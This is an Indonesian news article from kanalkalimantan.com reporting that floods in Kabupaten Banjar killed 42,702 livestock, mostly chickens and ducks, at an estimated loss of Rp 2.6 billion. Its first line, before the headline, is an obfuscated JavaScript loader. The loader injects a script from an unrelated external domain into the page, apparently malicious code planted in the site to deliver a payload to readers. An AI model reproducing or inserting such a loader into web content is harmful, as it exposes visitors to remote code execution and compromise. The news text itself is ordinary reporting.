(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Banjir di Kabupaten Banjar 42.702 Ekor Ternak Mati, Kerugian Capai Rp 2,6 Miliar

KANALKALIMANTAN.COM, MARTAPURA – Banjir besar yang melanda wilayah Kabupaten Banjar mengakibatkan sejumlah peternak mengalami kerugian besar. Ribuan ekor hewan ternak milik warga mati akibat banjir.

Plt Kabid Peternakan dan Kesehatan Hewan Dinas Peternakan dan Perkebunan Kabupaten Banjar M Akbar Susanto menyebutkan, dari pendataan yang dilakukan pihaknya, baik bidang peternakan maupun perkebunan Kabupaten Banjar, dampak banjir warga mengalami kerugian material yang luar biasa.

Adapun hewan ternak milik warga yang terdampak banjir diantaranya ayam kampung, ayam pedaging, ayam petelur, bebek, kambing, sapi, kerbau, dan burung puyuh.

“Untuk ayam kampung yang mati ada sekitar 16.926 ekor, ayam pedaging 148 ekor, ayam petelur 100 ekor, bebek atau itik 22.617 ekor, kambing 1 ekor, kerbau 10 ekor, burung puyuh 2.900 ekor, total keseluruhan ternak ada 42.702 ekor yang mati,” ucap Akbar kepada Kanalkalimantan.com, Kamis, (28/1/2021) pagi.

Kepala Bidang Peternakan dan Perkebunan M Akbar Susanto. Foto: wahyu

Dia juga mengatakan ternak-ternak mati ini tersebar di beberapa kecamatan, yakni Martapura Kota, Martapura Barat, Martapura Timur,Martapura Barat, Mataraman, Karang Intan, Sungai Pinang, Sungai Tabuk, Astambul, Beruntung Baru, Kertak Hanyar, Tatah Makmur.

“Jadi dari totalan kerugian bidang peternakan Kabupaten Banjar yang disebabkan oleh musibah banjir untuk sementara sekitar Rp 2,6 miliar,” katanya. (kanalkalimantan.com/wahyu)
Reporter: wahyu
Editor: bie